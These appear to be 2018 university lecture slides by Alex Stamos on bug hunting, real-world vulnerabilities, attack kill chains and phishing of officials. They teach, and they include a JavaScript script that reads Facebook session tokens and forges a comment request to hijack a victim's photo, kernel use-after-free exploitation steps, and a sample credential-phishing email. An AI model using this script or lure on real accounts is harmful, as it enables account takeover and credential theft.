CS 155: Real-World Security

April 19, 2018

Alex Stamos
CSO, Facebook
Agenda

- How are bugs found?
- Real world bugs
- Who finds bugs?
- Real cyberattacks and defense
- Five basic tips for career success
How are bugs found?
Vulnerability Discovery is the art of...

- Pushing software into exploitable states
- Predicting the kinds of mistakes engineers will make and QA/security teams will miss
- Making the impossible possible
Fuzzing

Using automation to mutate input into a system and look for exploitable states

Enhanced by:

- Intelligently unpacking, mutating, and re-packing formats
- Instrumenting the binary to accelerate input and look for caught exceptions
- Studying control-flow and intentionally hitting corner cases
# Fuzzing

<table>
<thead>
<tr>
<th>process timing</th>
<th>overall results</th>
</tr>
</thead>
<tbody>
<tr>
<td>run time</td>
<td>cycles done : 0</td>
</tr>
<tr>
<td></td>
<td>total paths : 812</td>
</tr>
<tr>
<td>last new path</td>
<td>uniq crashes : 8</td>
</tr>
<tr>
<td>last uniq crash</td>
<td>uniq hangs : 10</td>
</tr>
<tr>
<td>last uniq hang</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>cycle progress</th>
<th>map coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>now processing</td>
<td>map density : 3158 (4.82%)</td>
</tr>
<tr>
<td>paths timed out</td>
<td>count coverage : 2.56 bits/tuple</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>stage progress</th>
<th>findings in depth</th>
</tr>
</thead>
<tbody>
<tr>
<td>now trying</td>
<td>favored paths : 1 (0.12%)</td>
</tr>
<tr>
<td>stage execs</td>
<td>new edges on : 318 (39.16%)</td>
</tr>
<tr>
<td>total execs</td>
<td>total crashes : 63 (8 unique)</td>
</tr>
<tr>
<td>exec speed</td>
<td>total hangs : 191 (10 unique)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>fuzzing strategy yields</th>
</tr>
</thead>
<tbody>
<tr>
<td>bit flips : 447/75.5k, 59/75.5k, 59/75.5k</td>
</tr>
<tr>
<td>byte flips : 7/9436, 0/5858, 6/5950</td>
</tr>
<tr>
<td>arithmetics : 0/0, 0/0, 0/0</td>
</tr>
<tr>
<td>known ints : 0/0, 0/0, 0/0</td>
</tr>
<tr>
<td>dictionary : 0/0, 0/0, 0/0</td>
</tr>
<tr>
<td>havoc : 0/0, 0/0</td>
</tr>
<tr>
<td>trim : 0.00%/1166, 38.39%</td>
</tr>
</tbody>
</table>

[cpu: 15%]

http://lcamtuf.coredump.cx/afl/
Reverse Engineering

Reverse engineering allows the researcher to:

- Find exploitable states and work backward
- Look for common antipatterns
- Understand and bypass sanity checks and protections

Includes:

- Debugging
- Disassembly
- Binary diffing
- Decompilation
Manual Manipulation

- Many interesting flaws boil down to asking the software to do something
- Due to:
  - Confused deputy problems
  - Missing access control checks
  - Lack of data consistency checks
- Often using tools to intercept and manipulate inputs
Professional bug hunters often pull many techniques together:

1. Disassemble a binary to discover:
Pulling it Together

2. Use format-aware fuzzing to try to find entry points that lead to format string

https://lcamtuf.blogspot.com/2016/02/say-hello-to-afl-analyze.html
3. Researcher carefully modifies crash-creating documents by the fuzzer to obtain execution.
Real World Bugs
Let's Hijack this Picture :)
var yourMessage = "check out my pic"; // your msg
var photoFBID = XXXXXXXXXXX; // victim photo ID
var statuslinkID = XXXXXXXXXXX; // status ID where to comment with hijack

function generatePhstamp(b, g) {
  var f = b.length;
  numeric_csrf_value = '';  
  for (var c = 0; c < g.length; c++) {
    numeric_csrf_value += g.charCodeAt(c)
  }
  return '1' + numeric_csrf_value + f
}

var e = document.getElementsByTagName('fb_dtsg')[0].value,
var c = document.cookie.split('c_user=')[1].split(';')[0],
h = "ft_ent_identifier="+statuslinkID+"&comment_text="+yourMessage
  +"&source=1&client_id=1371674471412:1000847939&attached_photo_fbid="+photoFBID+"&rootid=u_ps_0_0_m&ft[tn]=[]&ft[qid]=589129484280771144
  &ft[mf_story_key]=-2575904214724011317&ft[has_expanded_ufi]=1&nctr[mod]=pagelet_home_stream&__user=" + c +
  +"&_a=1&_dyn=7n8aDsz5CF-&__req=1r&fb_dtsg=" + e;

m = generatePhstamp(h, e);
h += "&phstamp=" + m;
picture = new XMLHttpRequest();
picture.open("POST", "https://www.facebook.com/ajax/ufi/add_comment.php", true);
picture.setRequestHeader("Content-type", "application/x-javascript; charset=utf-8");
picture.send(h);

console.log("The pic has been Hijacked & posted at http://facebook.com/"+statuslinkID);
hashOut.data = hashes + SSL_MD5_DIGEST_LEN;
hashOut.length = SSL_SHA1_DIGEST_LEN;
if ((err = SSLFreeBuffer(&hashCtx)) != 0)
    goto fail;
if ((err = ReadyHash(&SSLHashSHA1, &hashCtx)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
    goto fail;
if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
    goto fail;
err = sslRawVerify(...);
Embedding Script in Images

https://whitton.io/articles/xss-on-facebook-via-png-content-types/
### 3.4 concat

Physical concatenation protocol.

Read and seek from many resources in sequence as if they were a unique resource.

A URL accepted by this protocol has the syntax:

```
concat:URL1|URL2|...|URLN
```

where *URL1*, *URL2*, ..., *URLN* are the urls of the resource to be concatenated, each one possibly specifying a distinct protocol.

For example to read a sequence of files `split1.mpeg`, `split2.mpeg`, `split3.mpeg` with `ffplay` use the command:

```
ffplay concat:split1.mpeg\|split2.mpeg\|split3.mpeg
```

Note that you may need to escape the character "|" which is special for many shells.
Bug or feature?
Memory Management

1. Hold a (legitimate) reference to a key object
2. Overflow the same object’s usage
3. Get the keyring object freed
4. Allocate a different kernel object from user-space, with a user-controlled content, over the same memory previously used by the freed keyring object
5. Use the reference to the old key object and trigger code execution

Who Finds Bugs?
Who Looks for Bugs?

**Defenders:**
- Have benefit of source code, access to engineers
- Target 100% coverage, so broad-and-shallow testing is common
- Generally need automation to assist

**Attackers:**
- Have less information, not a huge problem with shipped code
- Only need a handful of flaws to chain them together
- Need to find and explore issues without alerting defenders

**Researchers:**
- Various motivations. Money? Fame?
- Lots of ethical reporting options via bug bounties
- Generally want to stay on right side of the law
Real World Defense
Let’s talk about kill chains
INSTALLATION
Typically, the adversaries install a persistent backdoor or implant in the victim environment to maintain access for an extended period of time.

EXPLOITATION
The adversaries must exploit a vulnerability to gain access. The phrase “zero day” refers to the exploit code used in just this step.

DELIVERY
The adversaries convey the malware to the target. They have launched their operation.

WEAPONIZATION
The adversaries are in the preparation and staging phase of their operation. Malware generation is likely not done by hand – they use automated tools. A “weaponizer” couples malware and exploit into a deliverable payload.

RECONNAISSANCE
The adversaries are in the planning phase of their operation. They conduct research to understand which targets will enable them to meet their objectives.

CONNECTION & CONTROL (C2)
Malware opens a command channel to enable the adversary to remotely manipulate the victim.

ACTIONS ON OBJECTIVES
With hands-on keyboard access, intruders accomplish the mission’s goal. What happens next depends on who is on the keyboard.
Seems a little... complex and sterile
Pulling off this kind of traditional “APT” attack is hard

1. Professional-grade, never seen software and infrastructure
2. Operational team, possibly available 24x7
3. Understanding of how real companies operate
4. Anti-attribution is extremely difficult, lots of fingerprints

In 2018, much more focus on attacks against personal accounts and watering holes.
Leadership

- Tasking
- Strategy
- Target Selection

Model of high-end operations

Operational Teams

- Passive Recon
- Grooming
- Exploit Deployment
- East-West Movement / Escalation
- Exfiltration

Central R&D team

- Vulnerability Research
- Weaponization
- Infrastructure Creation
0 DAY

Targeted attacks

Phishing

Unpatched systems

Password reuse and mass compromise

Abuse
Over the past month, Iranian hackers identified individual State Department officials who focus on Iran and the Middle East, and broke into their email and social media accounts, according to diplomatic and law enforcement officials familiar with the investigation. The State Department became aware of the compromises only after Facebook told the victims that state-sponsored hackers had compromised their accounts.

“It was very carefully designed and showed the degree to which they understood which of our staff was working on Iran issues now that the nuclear deal is done,” said one senior American official who oversees much of that operation and who requested anonymity to discuss a continuing investigation. “It was subtle.”

Iran’s cyberskills are not yet equal to those of Russia or China. But the attack against the State Department by using the social media accounts of young government employees to gain access to their friends across the administration — a focus that had not been seen before — showed an ingenuity beyond the Russian brute-force attack that infiltrated the State Department’s unclassified email system a year ago.
*From:* Google <no-reply@accounts.googlemail.com>

*Date:* March 19, 2016 at 4:34:30 AM EDT

*To:* [email]

*Subject:* Someone has your password

---

Someone has your password

Hi John

Someone just used your password to try to sign in to your Google Account.

---

Details:

Saturday, 19 March, 8:34:30 UTC

IP Address: 134.249.139.239

Location: Ukraine

Google stopped this sign-in attempt. You should change your password immediately.

---

CHANGE PASSWORD [https://bit.ly/1PibSU0](https://bit.ly/1PibSU0)

---

Best,

The Gmail Team

You received this mandatory email service announcement to update you about important changes to your Google product or account.
<table>
<thead>
<tr>
<th></th>
<th>Social engineering killchain</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>RECONNAISSANCE</td>
</tr>
<tr>
<td></td>
<td>Find personal accounts via public listings.</td>
</tr>
<tr>
<td>02</td>
<td>WEAPONIZATION</td>
</tr>
<tr>
<td></td>
<td>Create a plausible phishing site and lure.</td>
</tr>
<tr>
<td>03</td>
<td>DELIVERY</td>
</tr>
<tr>
<td></td>
<td>Communicate phishing payload via well-known social medium. Most dangerous step, need skill to avoid detection.</td>
</tr>
<tr>
<td>04</td>
<td>EXPLOITATION</td>
</tr>
<tr>
<td></td>
<td>Convert temporary access into long-term access or quickly get desired data.</td>
</tr>
<tr>
<td>05</td>
<td>INSTALLATION</td>
</tr>
<tr>
<td>06</td>
<td>COMMAND &amp; CONTROL (C2)</td>
</tr>
<tr>
<td>07</td>
<td>ACTIONS ON OBJECTIVES</td>
</tr>
</tbody>
</table>
Great write-up by Talos Intel:
1. There is no “personal space” safe from advanced actors
2. Consumer tech platforms need to act paternalistically
3. Legal barriers in the West make protection/response difficult
4. “Nation-state sponsored” is tired. “Nation-state encouraged or allowed” is new hotness.
Careers in Security
What impact do you want to have on the world?

InfoSec might be the most impactful engineering discipline of the 21st century.

You can choose to:

- Protect those who cannot protect themselves
- Bring voice to those who have never had it
- Secure the technologies that billions depend upon
- Stop those who wish to use technology to control and oppress millions

Participating in this industry makes you a moral actor.

Shape your career around your ethical choices, not vice versa.
Six Tips for a Successful Career

1. Always put yourself in a position to learn and grow. Comfort == decay

2. Be part of the product, not the plumbing

3. Your point of maximum leverage comes right after you get a job offer

4. Understand the Cap Table for any private company

5. Always go into a meeting knowing what you want the outcome to be

6. It’s a small industry. Be nice
Thank you and good luck!

alex@stamos.org